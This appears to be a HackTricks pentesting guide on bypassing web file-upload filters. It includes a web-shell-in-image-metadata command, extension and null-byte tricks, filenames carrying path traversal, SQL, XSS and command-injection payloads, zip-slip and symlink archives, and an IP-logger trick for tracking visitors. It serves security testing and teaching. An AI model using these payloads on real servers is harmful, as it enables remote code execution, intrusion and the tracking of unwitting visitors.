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2. Try to **uppercase some letter\(s\)** of the extension. Like: _.pHp, .pHP5, .PhAr ..._
3. Try to upload some **double \(or more\) extension** \(useful to bypass misconfigured checks that test if a specific extension is just present\):
1._file.png.php_
2._file.png.txt.php_
4. Try to upload some **reverse double extension** \(useful to exploit Apache misconfigurations where anything with extension _.php_, but **not necessarily ending in .php** will execute code\):
* _ex: file.php.png_
5. Double extension with **null character:**
1._ex: file.php%00.png_
6.**Add some especial characters at the end** of the extension_: %00, %20, \(several dots\)...._
1._file.php%00_
2._file.php%20_
3._file.php...... --> In Windows when a file is created with dots at the end those will be removed \(so you can bypass filters that checks for .php as extension\)_
4._file.php/_
5._file.php.\_
7. Bypass Content-Type checks by setting the **value** of the **Content-Type****header** to: _image/png_ , _text/plain , application/octet-stream_
8. Bypass magic number check by adding at the beginning of the file the **bytes of a real image** \(confuse the _file_ command\). Or introduce the shell inside the **metadata**: `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
1. It is also possible that the **magic bytes** are just being **checked** in the file and you could set them **anywhere in the file**.
9. Using **NTFS alternate data stream \(ADS\)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server \(e.g. “file.asax:.jpg”\). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions \(.e.g. “file.asp::$data.”\)
10.**Upload** the backdoor with an **allowed extension** \(_png_\) and pray for a **misconfiguration** that executes the backdoor
11. Find a vulnerability to **rename** the file already uploaded \(to change the extension\).
12. Find a **Local File Inclusion** vulnerability to execute the backdoor.
13.**Possible Information disclosure**:
1. Upload **several times** \(and at the **same time**\) the **same file** with the **same name**
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. \(Windows\)
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. \(Windows\)
6. Upload a file in **Windows** using **reserved** \(**forbidden**\) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
Try also to **upload an executable** \(.exe\) or an **.html** \(less suspicious\) that **will execute code** when accidentally opened by victim.
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** \(executing it with php, or including it inside a script...\)
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
**Check a lot of possible file upload vulnerabilities with BurpSuit plugin** [**https://github.com/modzero/mod0BurpUploadScanner**](https://github.com/modzero/mod0BurpUploadScanner) **or use a console application that finds which files can be uploaded and try different tricks to execute code:** [**https://github.com/almandin/fuxploider**](https://github.com/almandin/fuxploider)
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** \(as in this example **".gif"** is a **valid** extension\) but `wget` will **rename** the file to **"A"\*232+".php"**.
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work****unless** wget is being used with the **parameter**`--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## From File upload to other vulnerabilities
* Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
* Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
* Set **filename** to `<svg onload=alert(document.comain)>` to achieve a XSS
* Set **filename** to `; sleep 10;` to test some command injection \(more [command injections tricks here](command-injection.md)\)
* If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](ssrf-server-side-request-forgery.md). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
### Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
```text
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
```
### Decompress in different folders
The decompressed files will be created in unexpected folders.
One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.
An automated exploit to create this kind of files can be found here: [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc)
3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:
```text
:set modifiable
:%s/xxA/..\//g
:x!
```
Done!
Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:
The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) and [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
Read this post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
Polyglots, in a security context, are files that are a valid form of multiple different file types. For example, a [GIFAR](https://en.wikipedia.org/wiki/Gifar) is both a GIF and a RAR file. There are also files out there that can be both GIF and JS, both PPT and JS, etc.
Polyglot files are often used to bypass protection based on file types. Many applications that allow users to upload files only allow uploads of certain types, such as JPEG, GIF, DOC, so as to prevent users from uploading potentially dangerous files like JS files, PHP files or Phar files.
This helps to upload a file that complins with the format of several different formats. It can allows you to upload a PHAR file \(PHp ARchive\) that also looks like a JPEG, but probably you will still needs a valid extension and if the upload function doesn't allow it this won't help you.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
